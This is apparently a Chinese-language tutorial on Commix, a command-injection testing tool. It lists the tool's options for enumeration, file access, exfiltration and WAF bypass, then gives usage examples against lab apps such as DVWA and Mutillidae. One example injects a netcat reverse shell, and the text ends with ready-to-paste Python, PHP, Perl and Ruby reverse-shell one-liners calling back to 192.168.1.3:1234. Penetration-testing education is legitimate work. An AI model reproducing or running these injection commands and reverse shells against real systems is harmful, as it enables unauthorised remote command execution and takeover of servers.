介紹
項目地址:https://github.com/stasinopoulos/commix
Commix是一個使用Python開發的漏洞測試工具,這個工具是為了方便的檢測一個請求是否存在命令注入漏洞,並且對其進行測試,在其作者發布的最新版本中支持直接直接導入burp的歷史記錄進行檢測,大大提高了易用性。
使用
選項: -v VERBOSE詳細程度級別(0-1,默認值:0)。 --version 顯示版本號並退出。 --output-dir=.. 設置自定義輸出目錄路徑。 -s SESSION_FILE 從存儲(.sqlite)文件加載會話。 --flush-session 刷新當前目標的會話文件。 --ignore-session 忽略存儲在會話文件中的結果。 目標: -u URL,--url = URL 目標URL。 --url-reload 在命令執行后重新加載目標URL。 -l LOGFILE 解析來自HTTP代理日志文件的目標和數據。 --crawl = CRAWLDEPTH 從目標網址開始抓取網站(1-2,默認值:0)。 請求: --data=DATA 要通過POST發送的數據字符串。 --host=HOST HTTP主機頭。 --referer=REFERER HTTP Referer標頭。 --user-agent=AGENT HTTP用戶代理頭。 --random-agent 使用隨機選擇的HTTP User-Agent頭。 --param-del=PDEL 設置分割參數值的字符。 --cookie=COOKIE HTTP Cookie頭。 --cookie-del=CDEL 設置分割cookie值的字符。 --headers=HEADERS 額外標頭(例如「Header1:Value1 \ nHeader2:Value2」)。 --proxy=PROXY 使用HTTP代理(例如“127.0.0.1:8080”)。 --tor 使用Tor網絡。 --tor-port=... 設置Tor代理端口(默認值:8118)。 --auth-url=... 登錄面板URL。 --auth-data =AUTH 登錄參數和數據。 --auth-type =AUTH HTTP認證類型(例如“基本”或“摘要”)。 --auth-cred =AUTH HTTP身份驗證憑據(例如“admin:admin”)。 --ignore-401 忽略HTTP錯誤401(未授權)。 --force-ssl 強制使用SSL / HTTPS。 枚舉: 這些選項可用於枚舉目標主機。 --all 檢索一切。 --current-user 檢索當前用戶名。 --hostname 檢索當前主機名。 --is-root 檢查當前用戶是否具有root權限。 --is-admin 檢查當前用戶是否具有管理員權限。 --sys-info 檢索系統信息。 --users 檢索系統用戶。 --passwords 檢索系統用戶密碼散列。 --privileges 檢索系統用戶權限。 --ps-version 檢索PowerShell的版本號。 文件訪問: 這些選項可用於訪問目標主機上的文件。 --file-read = FILE .. 從目標主機讀取文件。 --file-write = FIL .. 寫入目標主機上的文件。 --file-upload = FI .. 在目標主機上上傳文件。 --file-dest = FILE .. 寫入和/或上傳到的主機的絕對文件路徑。 模塊: 這些選項可用於增加檢測和/或注射能力。 --icmp-exfil = IP_ ..'ICMP exfiltration'注入模塊。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。 --dns-server = DNS ..“DNS exfiltration”注入模塊。 (用於DNS篩選攻擊的域名)。 --shellshock“炮彈”注射模塊。 注射: 這些選項可用於指定要插入和輸入的參數,提供定制注入有效負載。 -p TEST_PARAMETER 可測試參數。 --suffix = SUFFIX 注入有效負載后綴字符串。 --prefix = PREFIX 注入有效負載前綴字符串。 --technique = TECH 指定要使用的進樣技術。 --maxlen = MAXLEN 設置與時間相關的最大輸出長度,注射技術(默認:10000字符)。 --delay = DELAY 設置與時間相關的注入的自定義時間延遲術(默認:1秒)。 --tmp-path = TMP_P .. 設置Web服務器的臨時目錄的絕對路徑。 --root-dir = SRV_R .. 設置Web服務器根目錄的絕對路徑。 --alter-shell = AL .. 使用另一個os-shell(例如'Python')。 --os-cmd = OS_CMD 執行單個操作系統命令。 --os = OS 將后端操作系統強制為此值。 --tamper = TAMPER 使用給定腳本篡改注射數據。 檢測: 這些選項可用於自定義檢測階段。 --level = LEVEL 要執行的測試級別(1-3,默認值:1)。 --skip-calc 在檢測期間跳過數學計算 --dependencies 檢查第三方(非內核)依賴關系。 --skip-waf 繞過啟發式檢測WAF / IPS / IDS保護。
使用舉例
python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″
Freebuf給出的一些用法(http://www.freebuf.com/sectool/64030.html)
測試漏洞web應用Damn
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
使用注入攻擊Payload參數測試php-Charts 1.0
python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"
使用特殊的頭和HTTP代理測試OWASP Mutillidae
python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
使用ICMP滲漏(exfiltration)技術測試Persistence
su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""
配合一些反彈shell
1. Python-reverse-shell: python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’ 2. PHP-reverse-shell: php -r ‘\$sock=fsockopen(\”192.168.1.3\”,1234);exec(\”/bin/sh -i <%263 >%263 2>%263\”);’ 3. Perl-reverse-shell: perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’ 4. Ruby-reverse-shell: ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,1234);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’